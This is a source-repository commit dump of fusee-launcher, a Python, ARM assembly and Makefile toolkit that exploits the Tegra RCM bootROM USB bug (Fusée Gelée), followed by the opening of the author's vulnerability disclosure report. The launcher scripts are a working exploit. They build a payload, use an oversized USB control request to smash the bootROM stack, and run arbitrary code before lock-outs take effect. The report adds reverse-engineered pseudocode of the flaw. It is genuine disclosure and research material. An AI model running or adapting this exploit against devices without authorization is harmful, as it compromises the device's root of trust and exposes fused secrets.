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fusee-launcher
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accelerate the timeline a little ( ͡° ͜ʖ ͡°)

This commit is contained in:
Kate J. Temkin 2018-04-23 09:11:57 -06:00
commit 04fdffe27b
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60
Makefile Normal file
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CROSS_COMPILE = arm-none-eabi-
# Use our cross-compile prefix to set up our basic cross compile environment.
CC = $(CROSS_COMPILE)gcc
LD = $(CROSS_COMPILE)ld
OBJCOPY = $(CROSS_COMPILE)objcopy
CFLAGS = \
-mtune=arm7tdmi \
-mlittle-endian \
-fno-stack-protector \
-fno-common \
-fno-builtin \
-ffreestanding \
-std=gnu99 \
-Werror \
-Wall \
-Wno-error=unused-function \
-fomit-frame-pointer \
-g \
-Os \
LDFLAGS =
all: intermezzo.bin
# The start of the BPMP IRAM.
START_OF_IRAM := 0x40000000
# The address to which Intermezzo is to be loaded by the payload launcher.
INTERMEZZO_ADDRESS := 0x4001F000
# The address we want the final payload to be located at.
RELOCATION_TARGET := 0x40010000
# The addrss and length of the data loaded by f-g.
LOAD_BLOCK_START := 0x40020000
LOAD_BLOCK_LENGTH := 0x20000
# Provide the definitions used in the intermezzo stub.
DEFINES := \
-DSTART_OF_IRAM=$(START_OF_IRAM) \
-DRELOCATION_TARGET=$(RELOCATION_TARGET) \
-DLOAD_BLOCK_START=$(LOAD_BLOCK_START) \
-DLOAD_BLOCK_LENGTH=$(LOAD_BLOCK_LENGTH) \
intermezzo.elf: intermezzo.o
$(LD) -T intermezzo.lds --defsym LOAD_ADDR=$(INTERMEZZO_ADDRESS) $(LDFLAGS) $^ -o $@
intermezzo.o: intermezzo.S
$(CC) $(CFLAGS32) $(DEFINES) $< -c -o $@
%.bin: %.elf
$(OBJCOPY) -v -O binary $< $@
clean:
rm -f *.o *.elf *.bin
.PHONY: all clean

50
README.txt Normal file
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* .--.
/ / `
+ | |
' \ \__,
* + '--' *
+ /\
+ .' '. *
* /======\ +
;:. _ ;
|:. (_) |
|:. _ |
+ |:. (_) | *
;:. ;
.' \:. / `.
/ .-'':._.'`-. \
|/ /||\ \|
_..--"""````"""--.._
_.-'`` ``'-._
-' '-
__ __ _ _ _ _
/ / \ \ (_) | | | | |
| |_ __ ___| | _____ ___| |_ ___| |__ ___ __| |
/ /| '__/ _ \\ \/ __\ \ /\ / / | __/ __| '_ \ / _ \/ _` |
\ \| | | __// /\__ \\ V V /| | || (__| | | | __/ (_| |
| |_| \___| | |___/ \_/\_/ |_|\__\___|_| |_|\___|\__,_|
\_\ /_/
/====================================================\
/======================================================\
|| fusée gelée ||
|| ||
|| Launcher for the {re}switched cold/bootrom hacks-- ||
|| launches payloads above the Horizon ||
|| ||
|| discovery and implementation by @ktemkin ||
|| def. independently discovered by lots of others <3 ||
|| ||
|| special thanks to: ||
|| SciresM, motezazer -- guidance and support ||
|| hedgeberg, andeor -- dumping the Jetson bootROM ||
|| TuxSH -- for IDB notes that were ||
|| super nice to peek at ||
|| the team -- y'all are awesome ||
|| other teams -- y'all are awesome too! ||
\======================================================/
\====================================================/
The main launcher is "fusee-launcher.py".

174
fusee-launcher.matcheshash.py Executable file
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#!/usr/bin/env python3
#
# fusée gelée
#
# Launcher for the {re}switched coldboot/bootrom hacks--
# launches payloads above the Horizon
#
# discovery and implementation by @ktemkin
# likely independently discovered by lots of others <3
#
# special thanks to:
# SciresM, motezazer -- guidance and support
# hedgeberg, andeor -- dumping the Jetson bootROM
# TuxSH -- for IDB notes that were nice to peek at
#
import usb
import time
# notes:
# GET_CONFIGURATION to the DEVICE triggers memcpy from 0x40003982
# GET_INTERFACE to the INTERFACE triggers memcpy from 0x40003984
# GET_STATUS to the INTERFACE triggers memcpy from <on the stack>
class RCMHax:
# FIXME: these are the jetson's; replace me with the Switch's
SWITCH_RCM_VID = 0x0955
SWITCH_RCM_PID = 0X7321
# USB constants used
STANDARD_REQUEST_DEVICE_TO_HOST_TO_DEVICE = 0x80
STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT = 0x82
GET_DESCRIPTOR = 0x6
GET_CONFIGURATION = 0x8
# Interface requests
GET_STATUS = 0x0
# Exploit specifics
COPY_START_ADDRESS = 0x40003982
COPY_BUFFER_ADDRESSES = [0x40005000, 0x40009000]
STACK_END = 0x40010000
def __init__(self):
""" Set up our RCM hack connection."""
# The first write into the bootROM touches the lowbuffer.
self.current_buffer = 0
# Grab a connection to the USB device itself.
self.dev = usb.core.find(idVendor=self.SWITCH_RCM_VID, idProduct=self.SWITCH_RCM_PID)
# Keep track of the total amount written.
self.total_written = 0
if self.dev is None:
raise IOError("No Switch found?")
def get_device_descriptor(self):
return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST, self.GET_DESCRIPTOR, 1 << 8, 0, 18)
def read(self, length):
""" Reads data from the RCM protocol endpoint. """
return self.dev.read(0x81, length, 1000)
def write(self, data):
""" Writes data to the main RCM protocol endpoint. """
length = len(data)
packet_size = 0x1000
while length:
data_to_transmit = min(length, packet_size)
length -= data_to_transmit
chunk = data[:data_to_transmit]
data = data[data_to_transmit:]
self.write_single_buffer(chunk)
def write_single_buffer(self, data):
"""
Writes a single RCM buffer, which should be 0x1000 long.
The last packet may be shorter, and should trigger a ZLP (e.g. not divisible by 512).
If it's not, send a ZLP.
"""
self._toggle_buffer()
return self.dev.write(0x01, data, 1000)
def _toggle_buffer(self):
"""
Toggles the active target buffer, paralleling the operation happening in
RCM on the X1 device.
"""
self.current_buffer = 1 - self.current_buffer
def get_current_buffer_address(self):
""" Returns the base address for the current copy. """
return self.COPY_BUFFER_ADDRESSES[self.current_buffer]
def read_device_id(self):
""" Reads the Device ID via RCM. Only valid at the start of the communication. """
return self.read(16)
def switch_to_highbuf(self):
""" Switches to the higher RCM buffer, reducing the amount that needs to be copied. """
if switch.get_current_buffer_address() != self.COPY_BUFFER_ADDRESSES[1]:
switch.write(smash_buffer)
def trigger_controlled_memcpy(self, length=None):
""" Triggers the RCM vulnerability, causing it to make a signficantly-oversized memcpy. """
# Determine how much we'd need to transmit to smash the full stack.
if length is None:
length = self.STACK_END - self.get_current_buffer_address()
return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT, self.GET_STATUS, 0, 0, length)
# Get a connection to our device
switch = RCMHax()
print("Switch device id: {}".format(switch.read_device_id()))
# Prefix the image with an RCM command, so it winds up loaded into memory
# at the right location (0x40010000).
# Use the maximum length so we can transmit as much payload as we want;
# we'll take over before we get to the end.
length = 0x30298
payload = length.to_bytes(4, byteorder='little')
# pad out to 680 so the payload starts at the right address in IRAM
payload += b'\0' * (680 - len(payload))
# for now, populate from [0x40010000, 0x40020000) with the payload address,
# ensuring we smash the stack properly; we can pull this down once we figure
# out the stack frame we're actually in for sure
print("Setting ourselves up to smash the stack...")
payload_location = 0x40020000
payload_location_raw = payload_location.to_bytes(4, byteorder='little')
payload += (payload_location_raw * 16384) # TODO: remove this magic number
# read the payload into memory
with open("payload.bin", "rb") as f:
payload += f.read()
# pad the payload to fill a request exactly
payload_length = len(payload)
padding_size = 0x1000 - (payload_length % 0x1000)
payload += (b'\0' * padding_size)
# send the payload
print("Uploading payload...")
switch.write(payload)
# smash less as a first test
print("Smashing the stack...")
switch.switch_to_highbuf()
try:
switch.trigger_controlled_memcpy()
except IOError:
print("The USB device stopped responding-- sure smells like we've smashed its stack. :)")

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fusee-launcher.py Executable file
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#!/usr/bin/env python3
#
# fusée gelée
#
# Launcher for the {re}switched coldboot/bootrom hacks--
# launches payloads above the Horizon
#
# discovery and implementation by @ktemkin
# likely independently discovered by lots of others <3
#
# this code is political -- it stands with those who fight for LGBT rights
# don't like it? suck it up, or find your own damned exploit ^-^
#
# special thanks to:
# SciresM, motezazer -- guidance and support
# hedgeberg, andeor -- dumping the Jetson bootROM
# TuxSH -- for IDB notes that were nice to peek at
#
# much love to:
# Aurora Wright, Qyriad, f916253, MassExplosion213, Schala, and Levi
#
# greetings to:
# shuffle2
import os
import sys
import usb
import time
import ctypes
import argparse
import platform
# specify the locations of important load components
RCM_PAYLOAD_ADDR = 0x40010000
INTERMEZZO_LOCATION = 0x4001F000
PAYLOAD_LOAD_BLOCK = 0x40020000
# notes:
# GET_CONFIGURATION to the DEVICE triggers memcpy from 0x40003982
# GET_INTERFACE to the INTERFACE triggers memcpy from 0x40003984
# GET_STATUS to the ENDPOINT triggers memcpy from <on the stack>
class HaxBackend:
"""
Base class for backends for the TegraRCM vuln.
"""
# USB constants used
STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT = 0x82
# Interface requests
GET_STATUS = 0x0
# List of OSs this class supports.
SUPPORTED_SYSTEMS = []
def __init__(self, usb_device):
""" Sets up the backend for the given device. """
self.dev = usb_device
def print_warnings(self):
""" Print any warnings necessary for the given backend. """
pass
def trigger_vulnerability(self, length):
"""
Triggers the actual controlled memcpy.
The actual trigger needs to be executed carefully, as different host OSs
require us to ask for our invalid control request differently.
"""
raise NotImplementedError("Trying to use an abstract backend rather than an instance of the proper subclass!")
@classmethod
def supported(cls, system_override=None):
""" Returns true iff the given backend is supported on this platform. """
# If we have a SYSTEM_OVERRIDE, use it.
if system_override:
system = system_override
else:
system = platform.system()
return system in cls.SUPPORTED_SYSTEMS
@classmethod
def create_appropriate_backend(cls, usb_device):
""" Creates a backend object appropriate for the current OS. """
# Search for a supportive backend, and try to create one.
for subclass in cls.__subclasses__():
if subclass.supported():
return subclass(usb_device)
# ... if we couldn't, bail out.
raise IOError("No backend to trigger the vulnerability-- it's likely we don't support your OS!")
class MacOSBackend(HaxBackend):
"""
Simple vulnerability trigger for macOS: we simply ask libusb to issue
the broken control request, and it'll do it for us. :)
We also support platforms with a hacked libusb.
"""
BACKEND_NAME = "macOS"
SUPPORTED_SYSTEMS = ['Darwin', 'libusbhax', 'macos']
def trigger_vulnerability(self, length):
# Triggering the vulnerability is simplest on macOS; we simply issue the control request as-is.
return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT, self.GET_STATUS, 0, 0, length)
class LinuxBackend(HaxBackend):
"""
More complex vulnerability trigger for Linux: we can't go through libusb,
as it limits control requests to a single page size, the limitation expressed
by the usbfs. More realistically, the usbfs seems fine with it, and we just
need to work around libusb.
"""
BACKEND_NAME = "Linux"
SUPPORTED_SYSTEMS = ['Linux', 'linux']
SUPPORTED_USB_CONTROLLERS = ['pci/drivers/xhci_hcd', 'platform/drivers/dwc_otg']
SETUP_PACKET_SIZE = 8
IOCTL_IOR = 0x80000000
IOCTL_TYPE = ord('U')
IOCTL_NR_SUBMIT_URB = 10
URB_CONTROL_REQUEST = 2
class SubmitURBIoctl(ctypes.Structure):
_fields_ = [
('type', ctypes.c_ubyte),
('endpoint', ctypes.c_ubyte),
('status', ctypes.c_int),
('flags', ctypes.c_uint),
('buffer', ctypes.c_void_p),
('buffer_length', ctypes.c_int),
('actual_length', ctypes.c_int),
('start_frame', ctypes.c_int),
('stream_id', ctypes.c_uint),
('error_count', ctypes.c_int),
('signr', ctypes.c_uint),
('usercontext', ctypes.c_void_p),
]
def print_warnings(self):
""" Print any warnings necessary for the given backend. """
print("\nImportant note: on desktop Linux systems, we currently require an XHCI host controller.")
print("A good way to ensure you're likely using an XHCI backend is to plug your")
print("device into a blue 'USB 3' port.\n")
def trigger_vulnerability(self, length):
"""
Submit the control request directly using the USBFS submit_urb
ioctl, which issues the control request directly. This allows us
to send our giant control request despite size limitations.
"""
import os
import fcntl
# We only work for devices that are bound to a compatible HCD.
self._validate_environment()
# Figure out the USB device file we're going to use to issue the
# control request.
fd = os.open('/dev/bus/usb/{:0>3d}/{:0>3d}'.format(self.dev.bus, self.dev.address), os.O_RDWR)
# Define the setup packet to be submitted.
setup_packet = \
int.to_bytes(self.STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT, 1, byteorder='little') + \
int.to_bytes(self.GET_STATUS, 1, byteorder='little') + \
int.to_bytes(0, 2, byteorder='little') + \
int.to_bytes(0, 2, byteorder='little') + \
int.to_bytes(length, 2, byteorder='little')
# Create a buffer to hold the result.
buffer_size = self.SETUP_PACKET_SIZE + length
buffer = ctypes.create_string_buffer(setup_packet, buffer_size)
# Define the data structure used to issue the control request URB.
request = self.SubmitURBIoctl()
request.type = self.URB_CONTROL_REQUEST
request.endpoint = 0
request.buffer = ctypes.addressof(buffer)
request.buffer_length = buffer_size
# Manually submit an URB to the kernel, so it issues our 'evil' control request.
ioctl_number = (self.IOCTL_IOR | ctypes.sizeof(request) << 16 | ord('U') << 8 | self.IOCTL_NR_SUBMIT_URB)
fcntl.ioctl(fd, ioctl_number, request, True)
# Close our newly created fd.
os.close(fd)
# The other modules raise an IOError when the control request fails to complete. We don't fail out (as we don't bother
# reading back), so we'll simulate the same behavior as the others.
raise IOError("Raising an error to match the others!")
def _validate_environment(self):
"""
We can only inject giant control requests on devices that are backed
by certain usb controllers-- typically, the xhci_hcd on most PCs.
"""
from glob import glob
# Search each device bound to the xhci_hcd driver for the active device...
for hci_name in self.SUPPORTED_USB_CONTROLLERS:
for path in glob("/sys/bus/{}/*/usb*".format(hci_name)):
if self._node_matches_our_device(path):
return
raise ValueError("This device needs to be on an XHCI backend. Usually that means plugged into a blue/USB 3.0 port!\nBailing out.")
def _node_matches_our_device(self, path):
"""
Checks to see if the given sysfs node matches our given device.
Can be used to check if an xhci_hcd controller subnode reflects a given device.,
"""
# If this isn't a valid USB device node, it's not what we're looking for.
if not os.path.isfile(path + "/busnum"):
return False
# We assume that a whole _bus_ is associated with a host controller driver, so we
# only check for a matching bus ID.
if self.dev.bus != self._read_num_file(path + "/busnum"):
return False
# If all of our checks passed, this is our device.
return True
def _read_num_file(self, path):
"""
Reads a numeric value from a sysfs file that contains only a number.
"""
with open(path, 'r') as f:
raw = f.read()
return int(raw)
# FIXME: Implement a Windows backend that talks to a patched version of libusbK
# so we can inject WdfUsbTargetDeviceSendControlTransferSynchronously to
# trigger the exploit.
class RCMHax:
# Default to the Nintendo Switch RCM VID and PID.
DEFAULT_VID = 0x0955
DEFAULT_PID = 0x7321
# USB constants used
STANDARD_REQUEST_DEVICE_TO_HOST_TO_DEVICE = 0x80
GET_DESCRIPTOR = 0x6
GET_CONFIGURATION = 0x8
# Exploit specifics
COPY_BUFFER_ADDRESSES = [0x40005000, 0x40009000] # The addresses of the DMA buffers we can trigger a copy _from_.
STACK_END = 0x40010000 # The address just after the end of the device's stack.
def __init__(self, wait_for_device=False, os_override=None, vid=None, pid=None):
""" Set up our RCM hack connection."""
# The first write into the bootROM touches the lowbuffer.
self.current_buffer = 0
# Grab a connection to the USB device itself.
self.dev = self._find_device(vid, pid)
# Keep track of the total amount written.
self.total_written = 0
# If we don't have a device...
if self.dev is None:
# ... and we're allowed to wait for one, wait indefinitely for one to appear...
if wait_for_device:
print("Waiting for a TegraRCM to come online...")
while self.dev is None:
self.dev = self._find_device()
# ... or bail out.
else:
raise IOError("No TegraRCM device found?")
# Create a vulnerability backend for the given device.
try:
self.backend = HaxBackend.create_appropriate_backend(self.dev)
except IOError:
print("It doesn't look like we support your OS, currently. Sorry about that!\n")
sys.exit(-1)
# Print any use-related warnings.
self.backend.print_warnings()
# Notify the user of which backend we're using.
print("Identified a {} system; setting up the appropriate backend.".format(self.backend.BACKEND_NAME))
def _find_device(self, vid=None, pid=None):
""" Attempts to get a connection to the RCM device with the given VID and PID. """
# Apply our default VID and PID if neither are provided...
vid = vid if vid else self.DEFAULT_VID
pid = pid if pid else self.DEFAULT_PID
# ... and use them to find a USB device.
return usb.core.find(idVendor=vid, idProduct=pid)
def get_device_descriptor(self):
return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST, self.GET_DESCRIPTOR, 1 << 8, 0, 18)
def read(self, length):
""" Reads data from the RCM protocol endpoint. """
return self.dev.read(0x81, length, 1000)
def write(self, data):
""" Writes data to the main RCM protocol endpoint. """
length = len(data)
packet_size = 0x1000
while length:
data_to_transmit = min(length, packet_size)
length -= data_to_transmit
chunk = data[:data_to_transmit]
data = data[data_to_transmit:]
self.write_single_buffer(chunk)
def write_single_buffer(self, data):
"""
Writes a single RCM buffer, which should be 0x1000 long.
The last packet may be shorter, and should trigger a ZLP (e.g. not divisible by 512).
If it's not, send a ZLP.
"""
self._toggle_buffer()
return self.dev.write(0x01, data, 1000)
def _toggle_buffer(self):
"""
Toggles the active target buffer, paralleling the operation happening in
RCM on the X1 device.
"""
self.current_buffer = 1 - self.current_buffer
def get_current_buffer_address(self):
""" Returns the base address for the current copy. """
return self.COPY_BUFFER_ADDRESSES[self.current_buffer]
def read_device_id(self):
""" Reads the Device ID via RCM. Only valid at the start of the communication. """
return self.read(16)
def switch_to_highbuf(self):
""" Switches to the higher RCM buffer, reducing the amount that needs to be copied. """
if switch.get_current_buffer_address() != self.COPY_BUFFER_ADDRESSES[1]:
switch.write(b'\0' * 0x1000)
def trigger_controlled_memcpy(self, length=None):
""" Triggers the RCM vulnerability, causing it to make a signficantly-oversized memcpy. """
# Determine how much we'd need to transmit to smash the full stack.
if length is None:
length = self.STACK_END - self.get_current_buffer_address()
return self.backend.trigger_vulnerability(length)
def parse_usb_id(id):
""" Quick function to parse VID/PID arguments. """
return int(id, 16)
# Read our arguments.
parser = argparse.ArgumentParser(description='launcher for the fusee gelee exploit (by @ktemkin)')
parser.add_argument('payload', metavar='payload', type=str, help='ARM payload to be launched; should be linked at 0x40010000')
parser.add_argument('-w', dest='wait', action='store_true', help='wait for an RCM connection if one isn\'t present')
parser.add_argument('-V', metavar='vendor_id', dest='vid', type=parse_usb_id, default=None, help='overrides the TegraRCM vendor ID')
parser.add_argument('-P', metavar='product_id', dest='pid', type=parse_usb_id, default=None, help='overrides the TegraRCM product ID')
parser.add_argument('--override-os', metavar='platform', type=str, default=None, help='overrides the detected OS; for advanced users only')
parser.add_argument('--relocator', metavar='binary', dest='relocator', type=str, default="intermezzo.bin", help='provides the path to the intermezzo relocation stub')
arguments = parser.parse_args()
# Expand out the payload path to handle any user-refrences.
payload_path = os.path.expanduser(arguments.payload)
if not os.path.isfile(payload_path):
print("Invalid payload path specified!")
sys.exit(-1)
# Find our intermezzo relocator...
intermezzo_path = os.path.expanduser(arguments.relocator)
if not os.path.isfile(intermezzo_path):
print("Could not find the intermezzo interposer. Did you build it?")
sys.exit(-1)
# Get a connection to our device.
try:
switch = RCMHax(wait_for_device=arguments.wait, vid=arguments.vid, pid=arguments.pid)
except IOError as e:
print(e)
sys.exit(-1)
# Print the device's ID. Note that reading the device's ID is necessary to get it into
device_id = switch.read_device_id().tostring()
print("Found a Tegra with Device ID: {}".format(device_id))
# Prefix the image with an RCM command, so it winds up loaded into memory
# at the right location (0x40010000).
# Use the maximum length accepted by RCM, so we can transmit as much payload as
# we want; we'll take over before we get to the end.
length = 0x30298
payload = length.to_bytes(4, byteorder='little')
# pad out to 680 so the payload starts at the right address in IRAM
payload += b'\0' * (680 - len(payload))
# Populate from [RCM_PAYLOAD_ADDR, INTERMEZZO_LOCATION) with the payload address.
# We'll use this data to smash the stack when we execute the vulnerable memcpy.
print("\nSetting ourselves up to smash the stack...")
repeat_count = int((INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDR) / 4)
intermezzo_location_raw = INTERMEZZO_LOCATION.to_bytes(4, byteorder='little')
payload += (intermezzo_location_raw * repeat_count)
# Include the Intermezzo binary in the command stream. This is our first-stage
# payload, and it's responsible for relocating the final payload to 0x40010000.
intermezzo_size = 0
with open(intermezzo_path, "rb") as f:
intermezzo = f.read()
intermezzo_size = len(intermezzo)
payload += intermezzo
# Finally, pad until we've reached the position we need to put the payload.
# This ensures the payload winds up at the location Intermezzo expects.
position = INTERMEZZO_LOCATION + intermezzo_size
padding_size = PAYLOAD_LOAD_BLOCK - position
payload += (b'\0' * padding_size)
# Read the payload into memory.
with open(payload_path, "rb") as f:
payload += f.read()
# Pad the payload to fill a USB request exactly, so we don't send a short
# packet and break out of the RCM loop.
payload_length = len(payload)
padding_size = 0x1000 - (payload_length % 0x1000)
payload += (b'\0' * padding_size)
# Send the constructed payload, which contains the command, the stack smashing
# values, the Intermezzo relocation stub, and the final payload.
print("Uploading payload...")
switch.write(payload)
# The RCM backend alternates between two different DMA buffers. Ensure we're
# about to DMA into the higher one, so we have less to copy during our attack.
switch.switch_to_highbuf()
# Smash the device's stack, triggering the vulnerability.
print("Smashing the stack...")
try:
switch.trigger_controlled_memcpy()
except ValueError as e:
print(str(e))
except IOError:
print("The USB device stopped responding-- sure smells like we've smashed its stack. :)")
print("Launch complete!")

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intermezzo.S Normal file
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//
// Payload launcher stub.
//
.globl _start
.section ".text"
_start:
// First, we'll need to move ourselves _out_ of the target area.
// We'll copy down into the start of the IRAM.
ldr r0, =post_relocation
ldr r1, =START_OF_IRAM
ldr r2, =intermezzo_end
sub r2, r2, r0
bl copy
// Jump to the start of RAM, which should now contain the post-relocation code.
ldr r0, =START_OF_IRAM
bx r0
.align 4
post_relocation:
// Next, we'll copy our payload down to the appropriate relocaiton address.
ldr r0, =LOAD_BLOCK_START
ldr r1, =RELOCATION_TARGET
ldr r2, =LOAD_BLOCK_LENGTH
bl copy
// Finally, jump into the relocated target.
ldr r0, =RELOCATION_TARGET
bx r0
//
// Simple block copy.
// r0 = source address
// r1 = destination address
// r2 = length in bytes
// Destroys r3.
//
copy:
// Copy the word...
ldr r3, [r0], #4
str r3, [r1], #4
// And continue while we have words left to copy.
subs r2, r2, #4
bne copy
// Once we're done, return.
bx lr

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OUTPUT_FORMAT("elf32-littlearm")
OUTPUT_ARCH(arm)
ENTRY(_start)
SECTIONS
{
. = LOAD_ADDR;
PROVIDE(intermezzo_start = .);
.text : {
*(.text)
}
/* always end on a word boundary for our copy */
. = ALIGN(4);
PROVIDE(intermezzo_end = .);
/DISCARD/ : { *(.dynstr*) }
/DISCARD/ : { *(.dynamic*) }
/DISCARD/ : { *(.plt*) }
/DISCARD/ : { *(.interp*) }
/DISCARD/ : { *(.gnu*) }
/DISCARD/ : { *(.data*) }
/DISCARD/ : { *(.rodata*) }
}

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#!/usr/bin/env bash
while true; do
./fusee-launcher.py -w fusee.bin
done

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## Vulnerability Disclosure: Fusée Gelée
This report documents Fusée Gelée, a coldboot vulnerability that allows full,
unauthenticated arbitrary code execution from an early bootROM context via Tegra
Recovery Mode (RCM) on NVIDIA's Tegra line of embedded processors. As this
vulnerability allows arbitrary code execution on the Boot and Power Management
Processor (BPMP) before any lock-outs take effect, this vulnerability compromises
the entire root-of-trust for each processor, and allows exfiltration of secrets
e.g. burned into device fuses.
Quick vitals: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | |
--------------------|--------------------------------------------------------
*Reporter:* | Katherine Temkin (@ktemkin)
*Affiliation:* | ReSwitched (https://reswitched.tech)
*E-mail:* | k@ktemkin.com
*Affects:* | Tegra SoCs, independent of software stack
*Versions:* | believed to affect Tegra SoCs released prior to the T186 / X2
*Impact:* | early bootROM code execution with no software requirements, which can lead to full compromise of on-device secrets where USB access is possible
*Disclosure* | public disclosure planned for June 15th, 2018
#### Vulnerability Summary
The USB software stack provided inside the boot instruction rom (IROM/bootROM)
contains a copy operation whose length can be controlled by an attacker. By
carefully constructing a USB control request, an attacker can leverage this
vulnerability to copy the contents of an attacker-controlled buffer over the
active execution stack, gaining control of the Boot and Power Management
processor (BPMP) before any lock-outs or privilege reductions occur. This
execution can then be used to exfiltrate secrets and to load arbitrary code onto
the main CPU Complex (CCPLEX) "application processors" at the highest possible
level of privilege (typically as the TrustZone Secure Monitor at PL3/EL3).
#### Public Disclosure Notice
This vulnerability is notable due to the significant number and variety of
devices affected, the severity of the issue, and the immutability of the relevant
code on devices already delivered to end users. This vulnerability report
is provided as a courtesy to help aid remediation efforts, guide communication,
and minimize impact to users.
As other groups appear to have this or an equivalent exploit--
[including a group who claims they will be selling access to an implementation of such an exploit](http://team-xecuter.com/team-xecuter-coming-to-your-nintendo-switch-console/)--
it is the author and the ReSwitched team's belief that prompt public disclosure
best serves the public interest. By minimizing the information asymmetry between
the general public and exploit-holders and notifying the public, users will be
able to best assess how this vulnerability impacts their personal threat models.
Accordingly, ReSwitched anticipates public disclosure of this vulnerability:
* If another group releases an implementation of the identified
vulnerability; or
* On June 15th, 2018, whichever comes first.
### Vulnerability Details
The core of the Tegra boot process is approximated by the following block of
pseudo-code, as obtained by reverse-engineering an IROM extracted from a
vulnerable T210 system:
```C
// If this is a warmboot (from "sleep"), restore the saved state from RAM.
if (read_scratch0_bit(1)) {
restore_warmboot_image(&load_addr);
}
// Otherwise, bootstrap the processor.
else
{
// Allow recovery mode to be forced by a PMC scratch bit or physical straps.
force_recovery = check_for_rcm_straps() || read_scratch0_bit(2);
// Determine whether to use USB2 or USB3 for RCM.
determine_rcm_usb_version(&usb_version);
usb_ops = set_up_usb_ops(usb_version);
usb_ops->initialize();
// If we're not forcing recovery, attempt to load an image from boot media.
if (!force_recovery)
{
// If we succeeded, don't fall back into recovery mode.
if (read_boot_configuration_and_images(&load_addr) == SUCCESS) {
goto boot_complete;
}
}
// In all other conditions
if (read_boot_images_via_usb_rcm(<snip>, &load_addr) != SUCCESS) {
/* load address is poisoned here */
}
}
boot_complete:
/* apply lock-outs, and boot the program at address load_address */
```
Tegra processors include a USB Recovery Mode (RCM), which we can observe to be activated under a number of conditions:
* If the processor fails to find a valid Boot Control Table (BCT) + bootloader on its boot media;
* If processor straps are pulled to a particular value e.g. by holding a button combination; or
* If the processor is rebooted after a particular value is written into a power management controller scratch register.
USB recovery mode is present in all devices, including devices that have been
production secured. To ensure that USB recovery mode does not allow unauthenticated
communications, RCM requires all recovery commands be signed using either RSA
or via AES-CMAC.
The bootloader's implementation of the Tegra RCM protocol is simple, and exists
to allow loading a small piece of code (called the *miniloader* or *applet*) into
the bootloader's local Instruction RAM (IRAM). In a typical application, this
*applet* is `nvtboot-recovery`, a stub which allows further USB communications to
bootstrap a system or to allow system provisioning.
The RCM process is approximated by the following pseudo-code, again obtained via
reverse engineering a dumped IROM from a T210:
```C
// Significantly simplified for clarity, with error checking omitted where unimportant.
while (1) {
// Repeatedly handle USB standard events on the control endpoint EP0.
usb_ops->handle_control_requests(current_dma_buffer);
// Try to send the device ID over the main USB data pipe until we succeed.
if ( rcm_send_device_id() == USB_NOT_CONFIGURED ) {
usb_initialized = 0;
}
// Once we've made a USB connection, accept RCM commands on EP1.
else {
usb_initialized = 1;
// Read a full RCM command and any associated payload into a global buffer.
// (Error checking omitted for brevity.)
rcm_read_command_and_payload();
// Validate the received RCM command; e.g. by checking for signatures
// in RSA or AES_CMAC mode, or by trivially succeeding if we're not in
// a secure mode.
rc = rcm_validate_command();
if (rc != VALIDATION_PASS) {
return rc;
}
// Handle the received and validated command.
// For a "load miniloader" command, this sanity checks the (validated)
// miniloader image and takes steps to prevent re-use of signed data not
// intended to be used as an RCM command.
rcm_handle_command_complete(...);
}
}
```
It is important to note that a full RCM command *and its associated payload*
are read into 1) a global buffer, and 2) the target load address, respectively,
before any signature checking is done. This effectively grants the attacker a
narrow window in which they control a large region of unvalidated memory.
The largest vulnerability surface area occurs in the `rcm_read_command_and_payload`
function, which accepts the RCM command and payload packets via a USB bulk endpoint.
For our purposes, this endpoint is essentially a simple pipe for conveyance
of blocks of binary data separate from standard USB communications.
The `rcm_read_command_and_payload` function actually contains several issues--
of which exactly one is known to be exploitable:
```C
uint32_t total_rxd = 0;
uint32_t total_to_rx = 0x400;
// Loop until we've received our full command and payload.
while (total_rxd < total_to_rx) {
// Switch between two DMA buffers, so the USB is never DMA'ing into the same
// buffer that we're processing.
active_buffer = next_buffer;
next_buffer = switch_dma_buffers();
// Start a USB DMA transaction on the RCM bulk endpoint, which will hopefully
// receive data from the host in the background as we copy.
usb_ops->start_nonblocking_bulk_read(active_buffer, 0x1000);
// If we're in the first 680-bytes we're receiving, this is part of the RCM
// command, and we should read it into the command buffer.
if ( total_rxd < 680 ) {
/* copy data from the DMA buffer into the RCM command buffer until we've
read a full 680-byte RCM command */
// Once we've received the first four bytes of the RCM command,
// use that to figure out how much data should be received.
if ( total_rxd >= 4 )
{
// validate:
// -- the command won't exceed our total RAM
// (680 here, 0x30000 in upper IRAM)
// -- the command is >= 0x400 bytes
// -- the size ends in 8
if ( rcm_command_buffer[0] >= 0x302A8u
|| rcm_command_buffer[0] < 0x400u
|| (rcm_command_buffer[0] & 0xF) != 8 ) {
return ERROR_INVALID_SIZE;
} else {
left_to_rx = *((uint32_t *)rcm_command_buffer);
}
}
}
/* copy any data _past_ the command into a separate payload
buffer at 0x40010000 */
/* -code omitted for brevity - */
// Wait for the DMA transaction to complete.
// [This is, again, simplified to convey concepts.]
while(!usb_ops->bulk_read_complete()) {
// While we're blocking, it's still important that we respond to standard
// USB packets on the control endpoint, so do that here.
usb_ops->handle_control_requests(next_buffer);
}
}
```
Astute readers will notice an issue unrelated to the Fusée Gelée exploit: this
code fails to properly ensure DMA buffers are being used exclusively for a single
operation. This results in an interesting race condition in which a DMA buffer
can be simultaneously used to handle a control request and a RCM bulk transfer.
This can break the flow of RCM, but as both operations contain untrusted data,
this issue poses no security risk.
To find the actual vulnerability, we must delve deeper, into the code that handles
standard USB control requests. The core of this code is responsible for responding
to USB control requests. A *control request* is initiated when the host sends a
setup packet, of the following form:
Field | &nbsp; &nbsp; &nbsp; &nbsp; Size &nbsp; &nbsp;| Description
----------|:----:|-----
direction | 1b | if '1', the device should respond with data
type | 2b | specifies whether this request is of a standard type or not
recipient | 5b | encodes the context in which this request should be considered; <br /> for example, is this about a `DEVICE` or about an `ENDPOINT`?
request | 8b | specifies the request number
value | 16b | argument to the request
index | 16b | argument to the request
length | 16b | specifies the maximum amount of data to be transferred
